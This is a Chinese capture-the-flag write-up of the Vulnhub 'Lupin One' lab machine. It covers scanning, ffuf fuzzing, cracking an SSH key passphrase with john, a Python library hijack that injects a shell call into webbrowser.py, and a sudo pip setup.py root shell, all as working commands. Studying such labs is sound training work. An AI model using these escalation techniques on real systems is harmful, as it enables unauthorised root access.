Vulnhub-Empire靶机-详细打靶流程

渗透思路

    • 1.确认靶机IP地址
    • 2.端口服务扫描
    • 3.敏感目录扫描
    • 4.ffuf命令
      • 在这个目录下,继续使用ffuf工具扫描
    • 5.ssh私钥爆破
      • 1.将私钥写进sh.txt中
      • 2.将私钥转换为可以被john爆破的形式
      • 3.通过John爆破
    • 6.ssh私钥登陆
    • 7.icex64提权
    • 8.arsene提权

1.确认靶机IP地址

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.0.130
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     b8:3a:08:3b:f9:30       Tenda Technology Co.,Ltd.Dongguan branch
192.168.0.133   00:0c:29:a5:34:7f       VMware, Inc.
192.168.0.139   7c:b5:66:a5:f0:a5       Intel Corporate3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.035 seconds (125.80 hosts/sec). 3 responded
┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.0.0/24 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-07 03:18 EST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: B8:3A:08:3B:F9:30 (Tenda Technology,Ltd.Dongguan branch)Nmap scan report for chronos.local (192.168.0.133)
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:A5:34:7F (VMware)Nmap scan report for 192.168.0.139 (192.168.0.139)
Host is up (0.00024s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 7C:B5:66:A5:F0:A5 (Intel Corporate)Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.000077s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  sshNmap done: 256 IP addresses (4 hosts up) scanned in 1.38 seconds

靶机IP地址为192.168.0.133

2.端口服务扫描

┌──(root㉿kali)-[~]
└─# nmap -A 192.168.0.133 --min-rate 10000  
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-07 03:20 EST
Nmap scan report for chronos.local (192.168.0.133)
Host is up (0.0012s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 edead9d3af199c8e4e0f31dbf25d1279 (RSA)
|   256 bf9fa993c58721a36b6f9ee68761f519 (ECDSA)
|_  256 ac18eccc35c051f56f4774c30195b40f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/~myfiles
MAC Address: 00:0C:29:A5:34:7F (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   1.22 ms chronos.local (192.168.0.133)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p 22,80 192.168.0.133      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-07 03:20 EST
Nmap scan report for chronos.local (192.168.0.133)
Host is up (0.00055s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 edead9d3af199c8e4e0f31dbf25d1279 (RSA)
|   256 bf9fa993c58721a36b6f9ee68761f519 (ECDSA)
|_  256 ac18eccc35c051f56f4774c30195b40f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/~myfiles
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A5:34:7F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds

3.敏感目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.133"_|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                    (_||| _) (/_(_|| (_| )                                                                                                                                                             Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/reports/http_192.168.0.133/_24-02-07_03-21-59.txtTarget: http://192.168.0.133/[03:21:59] Starting:                                                                                                                                                                
[03:22:02] 403 -  278B  - /.ht_wsr.txt                                      
[03:22:02] 403 -  278B  - /.htaccess.sample                                 
[03:22:02] 403 -  278B  - /.htaccess_extra                                  
[03:22:02] 403 -  278B  - /.htaccess.orig                                   
[03:22:02] 403 -  278B  - /.htaccess.bak1                                   
[03:22:02] 403 -  278B  - /.htaccessOLD                                     
[03:22:02] 403 -  278B  - /.htaccess_orig                                   
[03:22:02] 403 -  278B  - /.html                                            
[03:22:02] 403 -  278B  - /.htaccessBAK
[03:22:02] 403 -  278B  - /.htpasswd_test                                   
[03:22:02] 403 -  278B  - /.htaccess.save
[03:22:02] 403 -  278B  - /.htaccessOLD2                                    
[03:22:02] 403 -  278B  - /.htaccess_sc                                     
[03:22:02] 403 -  278B  - /.htpasswds                                       
[03:22:02] 403 -  278B  - /.httr-oauth
[03:22:02] 403 -  278B  - /.htm                                             
[03:22:36] 301 -  314B  - /image  ->  http://192.168.0.133/image/           
[03:22:38] 301 -  319B  - /javascript  ->  http://192.168.0.133/javascript/ 
[03:22:42] 301 -  315B  - /manual  ->  http://192.168.0.133/manual/         
[03:22:42] 200 -  208B  - /manual/index.html                                
[03:22:55] 200 -   34B  - /robots.txt                                       
[03:22:56] 403 -  278B  - /server-status/                                   
[03:22:56] 403 -  278B  - /server-status                                    Task Completed
扫出robots.txt ,访问~myfiles目录,没有什么东西,这里通过其他的目录扫描工具,也没有扫到有用的信息

在这里插入图片描述访问~myfiles
在这里插入图片描述

4.ffuf命令

ffuf是一个用于Web应用程序的模糊测试工具,它可以快速、灵活地查找隐藏的内容、目录或文件

-u:url
-x:输出高亮
-r:遵循重定向
-w: 字典
┌──(root㉿kali)-[~]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.0.133/~FUZZ"                        /'___\  /'___\           /'___\       /\ \__/ /\ \__/  __  __  /\ \__/       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      \ \_\   \ \_\  \ \____/  \ \_\       \/_/    \/_/   \/___/    \/_/       v1.5.0 Kali Exclusive <3
________________________________________________:: Method           : GET:: URL              : http://192.168.0.133/~FUZZ:: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:: Follow redirects : false:: Calibration      : false:: Timeout          : 10:: Threads          : 40:: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________secret                  [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 36ms]

扫到secret目录,访问
在这里插入图片描述

你好朋友,我很高兴你找到了我的秘密目录,我创建了这样的与你分享我的创建SSH私钥文件, 它隐藏在这里的某个地方,这样黑客就不会找到它,也不会用快速通道破解我的密码。 我很聪明我知道。 有什么问题就告诉我 你最好的朋友icex64 告诉你要找到ssh密钥,且他的名字是icex64

在这个目录下,继续使用ffuf工具扫描

.mysecret.txt

┌──(root㉿kali)-[~]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://192.168.0.133/~secret/.FUZZ" -e .txt,.bak,.html,.pub -mc 200/'___\  /'___\           /'___\       /\ \__/ /\ \__/  __  __  /\ \__/       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      \ \_\   \ \_\  \ \____/  \ \_\       \/_/    \/_/   \/___/    \/_/       v1.5.0 Kali Exclusive <3
________________________________________________:: Method           : GET:: URL              : http://192.168.0.133/~secret/.FUZZ:: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:: Extensions       : .txt .bak .html .pub :: Follow redirects : false:: Calibration      : false:: Timeout          : 10:: Threads          : 40:: Matcher          : Response status: 200
________________________________________________# directory-list-2.3-small.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 4ms]
#.bak                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 7ms]
# or send a letter to Creative Commons, 171 Second Street, .pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 7ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 8ms]
#.bak                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 8ms]
#                       [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 7ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 7ms]
# Copyright 2007 James Fisher.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 12ms]
# Copyright 2007 James Fisher [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 12ms]
#.pub                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 12ms]
# Attribution-Share Alike 3.0 License. To view a copy of this .bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
#.pub                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
# Attribution-Share Alike 3.0 License. To view a copy of this .pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
# Attribution-Share Alike 3.0 License. To view a copy of this .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]
# or send a letter to Creative Commons, 171 Second Street, .bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 20ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 21ms]
#                       [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 12ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 21ms]
#.bak                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 13ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 18ms]
#.pub                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 14ms]
# or send a letter to Creative Commons, 171 Second Street, .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 19ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 15ms]
#                       [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 35ms]
# This work is licensed under the Creative Commons .pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 35ms]
# directory-list-2.3-small.txt.pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 37ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 37ms]
# Attribution-Share Alike 3.0 License. To view a copy of this .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 41ms]
# or send a letter to Creative Commons, 171 Second Street, .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ .bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
# directory-list-2.3-small.txt.bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 42ms]
# This work is licensed under the Creative Commons .html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 43ms]
# Copyright 2007 James Fisher.pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 43ms]
# Copyright 2007 James Fisher.bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 44ms]
# directory-list-2.3-small.txt.html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 45ms]
# This work is licensed under the Creative Commons .bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 45ms]
# This work is licensed under the Creative Commons .txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 46ms]
# directory-list-2.3-small.txt.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 46ms]
# Copyright 2007 James Fisher.html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 48ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 48ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 50ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ .pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 51ms]
# on atleast 3 different hosts [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 40ms]
# on atleast 3 different hosts.txt [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 41ms]
# on atleast 3 different hosts.bak [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 38ms]
# Priority ordered case sensative list, where entries were found .pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 43ms]
# on atleast 3 different hosts.pub [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
# on atleast 3 different hosts.html [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
#                       [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
#.txt                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms]
#.bak                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 39ms][Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 38ms]
#.html                  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 40ms]
#.pub                   [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 40ms][Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 47ms]
mysecret.txt            [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 56ms]
:: Progress: [438320/438320] :: Job [1/1] :: 938 req/sec :: Duration: [0:08:00] :: Errors: 0 ::

在这里插入图片描述
在这里插入图片描述

base58解码,是一个ssh私钥

5.ssh私钥爆破

1.将私钥写进sh.txt中

在这里插入图片描述

2.将私钥转换为可以被john爆破的形式

┌──(root㉿kali)-[~]
└─# /usr/bin/ssh2john sh.txt > hash

3.通过John爆破

这里我之前爆破过了┌──(root㉿kali)-[~]
└─# john --wordlist=/usr/share/wordlists/fasttrack.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)┌──(root㉿kali)-[~]
└─# john --show hash                                       
sh.txt:P@55w0rd!1 password hash cracked, 0 left

6.ssh私钥登陆

┌──(root㉿kali)-[~]
└─# ssh -i sh.txt icex64@192.168.0.133
Enter passphrase for key 'sh.txt': 
Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
########################################
Welcome to Empire: Lupin One
########################################
Last login: Wed Feb  7 00:46:39 2024 from 192.168.0.130
icex64@LupinOne:~$ 

7.icex64提权

sudo -l
看到一个py文件,arsene用户可以在没有passwd的环境下,使用heist.py,就想到在py中新启动一个arsene,shell环境
icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser icex64 may run the following commands on LupinOne:(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
icex64@LupinOne:~$ cat /home/arsene/heist.py 
import webbrowserprint ("Its not yet ready to get in action")webbrowser.open("https://empirecybersecurity.co.mz")

heist.py文件中引用了webbrowser模块,找一下这个模块

import webbrowserprint ("Its not yet ready to get in action")

icex64@LupinOne:~$ find / -name webbrowser.py -type f 2>/dev/null
/usr/lib/python3.9/webbrowser.py
icex64@LupinOne:~$ head /usr/lib/python3.9/webbrowser.py #! /usr/bin/env python3
"""Interfaces for launching and remotely controlling Web browsers."""
# Maintained by Georg Brandl.import os
import shlex
import shutil
import sys
import subprocess看到模块中引用了,os模块,想到通过os.system("/bin/bash"),新启一个shell,将os.system("/bin/bash")加入到webbrowser.py中
使用vi编辑器
icex64@LupinOne:/tmp$ head -n 20 /usr/lib/python3.9/webbrowser.py #! /usr/bin/env python3
"""Interfaces for launching and remotely controlling Web browsers."""
# Maintained by Georg Brandl.import os
import shlex
import shutil
import sys
import subprocess
import threadingos.system("/bin/bash")
__all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]

加入完成后运行

icex64@LupinOne:/tmp$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
arsene@LupinOne:/tmp$ id
uid=1000(arsene) gid=1000(arsene) groups=1000(arsene),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)成功到arsene用户

8.arsene提权

pip提权
https://gtfobins.github.io/gtfobins/pip/

arsene@LupinOne:/tmp$ sudo -l
Matching Defaults entries for arsene on LupinOne:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser arsene may run the following commands on LupinOne:(root) NOPASSWD: /usr/bin/pip
arsene@LupinOne:/tmp$ TF=$(mktemp -d)
arsene@LupinOne:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@LupinOne:/tmp$ sudo pip install $TF
Processing ./tmp.heBquagVzj
# id
uid=0(root) gid=0(root) groups=0(root)
# ls  
setup.py
# cd /root
# ls
root.txt
# cat root.txt
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,                       .&&&&&&&&&(            /&&&&&&&&&                       
,                    &&&&&&*                          @&&&&&&                   
,                *&&&&&                                   &&&&&&                
,              &&&&&                                         &&&&&.             
,            &&&&                   ./#%@@&#,                   &&&&*           
,          &%&&          &&&&&&&&&&&**,**/&&(&&&&&&&&             &&&&          
,        &@(&        &&&&&&&&&&&&&&&.....,&&*&&&&&&&&&&             &&&&        
,      .& &          &&&&&&&&&&&&&&&      &&.&&&&&&&&&&               &%&       
,     @& &           &&&&&&&&&&&&&&&      && &&&&&&&&&&                @&&&     
,    &%((            &&&&&&&&&&&&&&&      && &&&&&&&&&&                 #&&&    
,   &#/*             &&&&&&&&&&&&&&&      && #&&&&&&&&&(                 (&&&   
,  %@ &              &&&&&&&&&&&&&&&      && ,&&&&&&&&&&                  /*&/  
,  & &               &&&&&&&&&&&&&&&      &&* &&&&&&&&&&                   & &  
, & &                &&&&&&&&&&&&&&&,     &&& &&&&&&&&&&(                   &,@ 
,.& #                #&&&&&&&&&&&&&&(     &&&.&&&&&&&&&&&                   & & 
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&             &(&
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&            & &
*& *              &&&&&&&&&&&&&&&&&&&@.                 &&&&&&&&             @ &
*&              &&&&&&&&&&&&&&&&&&@    &&&&&/          &&&&&&                & &
*% .           &&&&&&&&&&&@&&&&&&&   &  &&(  #&&&&   &&&&.                   % &
*& *            &&&&&&&&&&   /*      @%&%&&&&&&&&    &&&&,                   @ &
*& &               &&&&&&&           & &&&&&&&&&&     @&&&                   & &
*& &                    &&&&&        /   /&&&&         &&&                   & @
*/(,                      &&                            &                   / &.
* & &                     &&&       #             &&&&&&      @             & &.
* .% &                    &&&%&     &    @&&&&&&&&&.   %@&&*               ( @, 
/  & %                   .&&&&  &@ @                 &/                    @ &  
*   & @                  &&&&&&    &&.               ,                    & &   
*    & &               &&&&&&&&&& &    &&&(          &                   & &    
,     & %           &&&&&&&&&&&&&&&(       .&&&&&&&  &                  & &     
,      & .. &&&&&&&&&&&&&&&&&&&&&&&&&&&&*          &  &                & &      
,       #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&        &.             %  &       
,         &  , &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.     &&&&          @ &*        
,           & ,, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.  /&&&&&&&&    & &@          
,             &  & #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&@ &. &&            
,               && /# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&# &&&# &# #&               
,                  &&  &( .&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&  &&                  
/                     ,&&(  &&%   *&&&&&&&&&&%   .&&&  /&&,                     
,                           &&&&&/...         .#&&&&#                           3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/459932.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vFavorites

快速访问资产和文件夹的快捷方式 将您最常用的项目放入vFavorites中&#xff0c;以便立即访问 vFavorites中的项目与项目选项卡中的常规项目类似&#xff1a; - 单击文件夹以打开它 - 单击资产以选择它 - 双击脚本以进行编辑 - 拖放材料或预制件以将其添加到场景中 下载&#…

MYSQL存储过程(含入参、出参)

1、创建库存表语句 -- eladmin.t_stock definitionCREATE TABLE t_stock (id bigint(20) NOT NULL AUTO_INCREMENT,quantity bigint(20) NOT NULL,PRIMARY KEY (id) ) ENGINEInnoDB AUTO_INCREMENT4101 DEFAULT CHARSETutf8mb4 COLLATEutf8mb4_bin; id为主键&#xff0c;便于…

彻底学会系列:一、机器学习之线性回归(一)

1.基本概念(basic concept) 线性回归&#xff1a; 有监督学习的一种算法。主要关注多个因变量和一个目标变量之间的关系。 因变量&#xff1a; 影响目标变量的因素&#xff1a; X 1 , X 2 . . . X_1, X_2... X1​,X2​... &#xff0c;连续值或离散值。 目标变量&#xff1a; …

linux i2c驱动实例之ISL29035

目录 概述 1 认识ISL29035 1.1 ISL29035特征 1.2 ISL29035工作电路 1.3 ISL29035工作时序分析 1.4 ISL29035相关的寄存器 1.4.1 COMMAND-1( 0x00 ) 1.4.2 COMMAND-11&#xff08;0x01&#xff09; 1.4.3 DATA寄存器&#xff08;0x02和0x03&#xff09; 1.4.4 中断报警…

阿里云学生服务器完成验证领取300元无门槛代金券和优惠权益

阿里云高校计划「云工开物」学生和教师均可参与&#xff0c;完成学生认证和教师验证后学生可以免费领取300元无门槛代金券和3折优惠折扣&#xff0c;适用于云服务器等全量公共云产品&#xff0c;订单原价金额封顶5000元/年&#xff0c;阿里云百科aliyunbaike.com分享阿里云高校…

Redis——缓存设计与优化

讲解Redis的缓存设计与优化&#xff0c;以及在生产环境中遇到的Redis常见问题&#xff0c;例如缓存雪崩和缓存穿透&#xff0c;还讲解了相关问题的解决方案。 1、Redis缓存的优点和缺点 1.1、缓存优点&#xff1a; 高速读写&#xff1a;Redis可以帮助解决由于数据库压力造成…

STM32——LCD(1)认识

目录 一、初识LCD 1. LCD介绍 2. 显示器的分类 3. 像素 4. LED和OLED显示器 5. 显示器的基本参数 &#xff08;1&#xff09;像素 &#xff08;2&#xff09;分辨率 &#xff08;3&#xff09;色彩深度 &#xff08;4&#xff09;显示器尺寸 &#xff08;5&#xff…

免费领取阿里云学生专享服务器和300元无门槛代金券

阿里云学生服务器优惠活动&#xff1a;高效计划&#xff0c;可以免费领取一台阿里云服务器&#xff0c;如果你是一名高校学生&#xff0c;想搭建一个linux学习环境、git代码托管服务器&#xff0c;或者创建个人博客网站记录自己的学习成长历程&#xff0c;拥有一台云服务器是很…

Unity3d Shader篇(五)— Phong片元高光反射着色器

文章目录 前言一、Phong片元高光反射着色器是什么&#xff1f;1. Phong片元高光反射着色器的工作原理2. Phong片元高光反射着色器的优缺点优点缺点 二、使用步骤1. Shader 属性定义2. SubShader 设置3. 渲染 Pass4. 定义结构体和顶点着色器函数5. 片元着色器函数 三、效果四、总…

邮箱营销软件推荐?企业邮箱群发会限制吗?

邮箱营销平台怎么选择&#xff1f;哪种邮箱适合做外贸邮件群发&#xff1f; 邮箱营销凭借其精准触达、低成本和高回报的特点&#xff0c;依然是许多企业不可或缺的营销手段。该如何选择一款适合自己的工具呢&#xff1f;蜂邮EDM将为您推荐几款优秀的邮箱营销软件&#xff0c;并…

【Git】08 多人单分支协作场景

文章目录 一、场景1&#xff1a;不同人修改不同文件1.1 场景描述1.2 场景复现1.2.1 克隆到本地1.2.2 新建分支1.2.3 B修改、提交与推送1.2.4 A修改与提交1.2.5 B再次修改并推送1.2.6 A推送报错 1.3 解决 二、场景2&#xff1a;不同人修改同文件的不同区域2.1 场景描述2.2 场景复…

代码随想录算法训练营第30天| 51. N皇后、总结

51. N皇后 完成 思路&#xff1a; 如何用回溯法搜索二维棋盘是这道题目和之前不一样的地方&#xff0c;也是题目的难点。 在树形结构中&#xff0c;同层取同一行棋盘的不同列遍历。每递归一次就往下遍历一行。 代码 class Solution {List<List<String>> res n…